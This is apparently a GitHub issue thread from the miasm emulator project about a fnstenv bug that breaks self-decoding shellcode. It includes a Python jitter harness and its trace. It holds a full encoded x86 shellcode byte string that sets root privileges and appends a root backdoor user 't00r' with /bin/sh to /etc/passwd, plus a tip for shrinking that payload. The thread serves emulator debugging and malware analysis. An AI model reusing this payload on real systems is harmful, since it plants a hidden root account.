Closed Summus-31c04089c3cd80 closed 5 years ago
Hi @Summus6! Sorry for the delay. You are right: we introduced an error during the python2/python3 code update, due to operand priority :sad:
Thank you for your feedback!
Hi, Super, I'm happy it was easy to fix ^^ Thank you for your awesome work :D
I confirm, the PR works with the given shellcode:
from argparse import ArgumentParser
from miasm.jitter.csts import PAGE_READ, PAGE_WRITE
from miasm.analysis.machine import Machine
from miasm.jitter.csts import *
def deal_int(jitter):
syscall_num = jitter.cpu.EAX
if syscall_num == 1:
print("SYSCALL: exit")
return False
elif syscall_num == 4:
data = jitter.vm.get_mem(jitter.cpu.ECX, jitter.cpu.EDX)
print("SYSCALL: write to %x %r" % (jitter.cpu.EBX, data))
jitter.cpu.EAX = len(data)
elif syscall_num == 5:
filename = jitter.get_str_ansi(jitter.cpu.EBX)
print("SYSCALL: open %s" % filename)
if filename == '/etc//passwd':
jitter.cpu.EAX = 0x1337
else:
fds
elif syscall_num == 70:
print("SYSCALL: setreuid %x %x" % (jitter.cpu.RBX, jitter.cpu.RCX))
else:
print("Unimplemented syscall %d" % syscall_num)
fsd
jitter.cpu.set_exception(0)
jitter.vm.set_exception(0)
return True
parser = ArgumentParser(description="x86 32 basic Jitter")
parser.add_argument("filename", help="x86 32 shellcode filename")
parser.add_argument("-j", "--jitter",
help="Jitter engine (default is 'gcc')",
default="gcc")
args = parser.parse_args()
myjit = Machine("x86_32").jitter(args.jitter)
myjit.init_stack()
data = open(args.filename, 'rb').read()
run_addr = 0x40000000
myjit.vm.add_memory_page(run_addr, PAGE_READ | PAGE_WRITE, data)
myjit.set_trace_log(False, False, True)
# For fnstenv
myjit.cpu.ESP -=0x10
# Hook int
myjit.add_exception_handler(EXCEPT_INT_XX, deal_int)
myjit.push_uint32_t(0x1337beef)
myjit.init_run(run_addr)
myjit.continue_run()
Result:
python -i run_sc_flt.py sc_flt.bin
loc_40000000
SUB ECX, ECX
SUB ECX, 0xFFFFFFE9
FLDZ
FNSTENV TBYTE PTR [ESP + 0xFFFFFFF4]
POP EBX
XOR DWORD PTR [EBX + 0x13], 0xE43496FD
SUB EBX, 0xFFFFFFFC
LOOP loc_4000000c
-> c_next:loc_40000018 c_to:loc_4000000c
loc_4000000c
XOR DWORD PTR [EBX + 0x13], 0xE43496FD
SUB EBX, 0xFFFFFFFC
LOOP loc_4000000c
-> c_next:loc_40000018 c_to:loc_4000000c
loc_40000018
XOR ECX, ECX
MOV EBX, ECX
PUSH 0x46
POP EAX
INT 0x80
-> c_next:loc_40000021
SYSCALL: setreuid 0 0
loc_40000021
PUSH 0x5
POP EAX
XOR ECX, ECX
PUSH ECX
PUSH 0x64777373
PUSH 0x61702F2F
PUSH 0x6374652F
MOV EBX, ESP
INC ECX
MOV CH, 0x4
INT 0x80
-> c_next:loc_4000003d
SYSCALL: open /etc//passwd
loc_4000003d
XCHG EAX, EBX
CALL loc_40000065
-> c_next:loc_40000043
loc_40000065
POP ECX
MOV EDX, DWORD PTR [ECX + 0xFFFFFFFC]
PUSH 0x4
POP EAX
INT 0x80
-> c_next:loc_4000006e
SYSCALL: write to 1337 b't00r:AAYKWVjRL6jkI:0:0::/:/bin/sh\n'
loc_4000006e
PUSH 0x1
POP EAX
INT 0x80
-> c_next:loc_40000073
SYSCALL: exit
Note: you may have a double "//" on the '/etc//passwd' Thus, if you remove one '/', you gain one char which can be used as the nul terminator for the string, which will safe you an extra "PUSH ECX", which will save one byte in the schellcode :smile: As it's encoded, the freshly introduced null byte should not be a problem.
That's true ;) It was a random shellcode I took somewhere to test the decoding process ^^
Hello, I'm updating my tools with the current master, and everything is working well, except for self modifying shellcodes that use
fnstenv
.This is one of the shellcode that are not working :
\x29\xC9\x83\xE9\xE9\xD9\xEE\xD9\x74\x24\xF4\x5B\x81\x73\x13\xFD\x96\x34\xE4\x83\xEB\xFC\xE2\xF4\xCC\x5F\xBD\x2F\x97\xD0\x6C\x29\x7D\xFC\x31\xBC\xCC\x5F\x65\x8C\x8E\xE5\x43\x80\x95\xB9\x1B\x94\x9C\xFE\x1B\x81\x89\xF5\xBD\x07\xBC\x23\x30\x29\x7D\x05\xDC\xC6\xFD\x96\x34\x90\xCD\xA6\x46\xDE\xBC\xD7\x6D\xAF\xAA\xC0\x5E\xB6\xB1\xA0\x5E\x8F\xB4\xAC\x04\xDE\xCD\xAC\x0E\xCB\xC7\xB9\x56\x8D\x93\xB9\x47\x8C\xF7\xCF\xBF\xB5\x01\xFC\x30\xBC\x30\x16\x5E\xE5\xA5\x5B\xB4\xE4
I'm using
example/jitter/x86_32.py
with gcc jitter (I tried with others with same result).This is the log on the current master :
EBX is getting the pushed value in the initialisation of the script (0x1337beef). But It should get the adress of
FLDZ
instr (0x40000005)A long time ago (commit f66e973a8c376), it was working like that :
EBX get the good value.
Note that I have to "patch" the script with some more pushes because of
fnstenv
using memory out of the allocated stack.I did not find a difference in the code of
fnstenv
that could explain it. But I don't understand these internals of miasm to explore deeper.